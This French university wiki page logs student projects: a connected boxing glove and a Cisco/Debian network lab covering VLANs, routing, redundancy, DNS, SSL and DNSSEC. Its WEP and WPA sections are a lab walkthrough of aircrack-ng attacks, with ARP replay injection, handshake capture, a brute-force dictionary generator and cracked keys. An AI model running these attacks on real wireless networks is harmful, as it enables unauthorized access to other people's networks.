Wiki d'activités IMA - Contributions de l’utilisateur [fr]

Gant de Boxe connecté

2017-01-19T09:28:54Z

Smaia : /* Poster */

=Présentation du sujet =

==Contexte==
De nos jours, nous vivons entourés de plus en plus d'objets connectés y compris dans le domaine sportif afin d'assister (ou de juger/arbitrer).
Dans le cadre du module d'Internet des Objets, nous avons choisi de réaliser un prototype de gant de boxe connecté. Ce prototype permettra au boxeur et à son équipe de connaître le ratio de coups qui auront atteint leur cible.

==Description du projet==
Le gant utilisé contiendra un (ou plusieurs) capteur de pression placé sur la surface de frappe, ainsi qu'un accéléromètre. Le premier nous permettra de compter le nombre de coups atteints et le second le nombre de coups tentés.
Enfin nous utiliserons un arduino afin de communiquer en BLE (Bluetooth Low Energy) avec une application Android qui affichera les résultats.

=Matériel utilisé=
Par gant:

*Accéléromètre [reçu]
*Capteurs de pression flexibles carrés (x4) [reçus]
*RFduino [reçu]
*Batterie USB [reçu]

=Suivi de réalisation=
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/01)
| Recherche du sujet et du matériel / Mise en place du cahier des charges
|-
! scope="row" | Séance 2 (05/01)
| Début du développement de la partie Arduino et test de récupération de données
|-
! scope="row" | Séance 3 (12/01)
| Développement de l'application Android : réception des données
|-
! scope="row" | Séance 4 (13/01)
| Développement de l'application Android : Traitement des données
|}

==1ère Séance==
Lors de cette séance, nous avons déterminé le fonctionnement de notre projet mais aussi les technologies à utiliser.
Nous avons donc commencé par rechercher les différentes composants nécessaires à notre projet. Nous avons aussi rechercher certaines informations quand au développement de l'application.

De plus, une fois les éléments reçus, nous avons réalisé le circuit.

[[Fichier:Circuit_IOT.jpg|center|250px]]

==2ème Séance==

Pendant cette séance nous avons commencé à programmer la partie arduino en ayant au préalable importé les différentes librairies du RFduino. Nous nous sommes renseigné sur les différentes frameworks existantes pour la programmation de BLE.
Suite à cela, nous avons choisi de faire une application android communiquant en bluetooth. Celle-ci serait d'avantage mobile qu'une application ordinateur et plairait d'avantage à un sportif qui pourrait voir directement ses résultats pendant son entraînement ou à son entraîneur qui transporte plus facilement une tablette qu'un ordinateur.

Lors de cette séance, nous avons également commencé à tester notre matériel avec un programme simple sur Arduino qui nous permet de voir que nous recevons bien les données voulues.

==3ème Séance==
Après avoir réalisé en partie le côté RFduino, nous sommes maintenant passés à la partie Android. Pour cela, nous avons choisi d'utiliser l'IDE Android Studio qui va nous permettre de créer notre application.
Cette application devra donc activer le Bluetooth de la tablette s'il n'est pas activé, scanner les alentours afin de capter l'ID du RFduino puis enfin s'y connecter.
Nous arrivons donc bien à détecter notre RFduino. Il nous reste maintenant à nous y connecter afin de pouvoir recevoir les valeurs des capteurs.
Une fois ces valeurs bien reçues, nous devrons les afficher sur l'application sous forme de tableau.
[[Fichier:AppData.png|center|250px]]

==4ème séance==
Nous avons donc réussi à connecter le RFduino avec l'application. Nous avons donc coder la réception des données du côté de l'application mais aussi le traitement de ces données.
On enregistre les valeurs reçues puis on affiche les données importantes pour un boxeur : le nombre de coups tentés et le nombre de coups touchés.
De plus, nous avons également différencié trois grands types de coups "fréquents" lors d'un match de boxe : le jab, le coup droit et l'uppercut.
Chacun de ces coups suivant principalement un axe différent, il est relativement simple de les différencier.
Ainsi on peut savoir si l'utilisateur différencie ses coups ou s'il reste trop souvent dans la même stratégie.

[[Fichier:AppRes.png|center|250px]]

=Poster=

[[Fichier:Poster.png|center|1500px]]

Fichier:Poster.png

2017-01-19T09:27:40Z

Smaia : Poster ConnectGloves

Poster ConnectGloves

Gant de Boxe connecté

2017-01-10T07:48:37Z

Smaia : /* 1ère Séance */

Gant de Boxe connecté

2017-01-10T07:40:28Z

Smaia : /* Matériel utilisé */

Cahier 2016 groupe n°5

2016-12-14T09:57:54Z

Smaia : /* Configuration PCBX */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM
|-
! scope="row" | Séance 7 (28/11)
| RAID5 - Cryptage de données
|-
! scope="row" | Séance 8 (additionnel - 7-8/12/2016)
| Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP
|-
! scope="row" | Séance 9 (12/12)
| Configuration DHCP - PCBX
|-
! scope="row" | Séance additionnelle (14/12/2016)
| Configuration PCBX
|-
|}

====Travail réalisé la 1ère séance ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e et 3e séance (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 4e séance====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 5e séance====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 6e séance (additionnel) ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : 
<pre>#NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost>
<Directory /var/www/www.speedflash.space>
Require all granted
</Directory>
ServerName "speedflash.space"</pre>
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL): 
<pre>Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

#<IfModule mod_gnutls.c>
# Listen 443
#</IfModule>

#<IfModule mod_ssl.c>
# Listen 443
#NameVirtualHost *:443
#</IfModule></pre>
Il faut activer le module SSL de Apache : <pre> a2enmod ssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
[[Fichier:SSLSite.png]]

=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
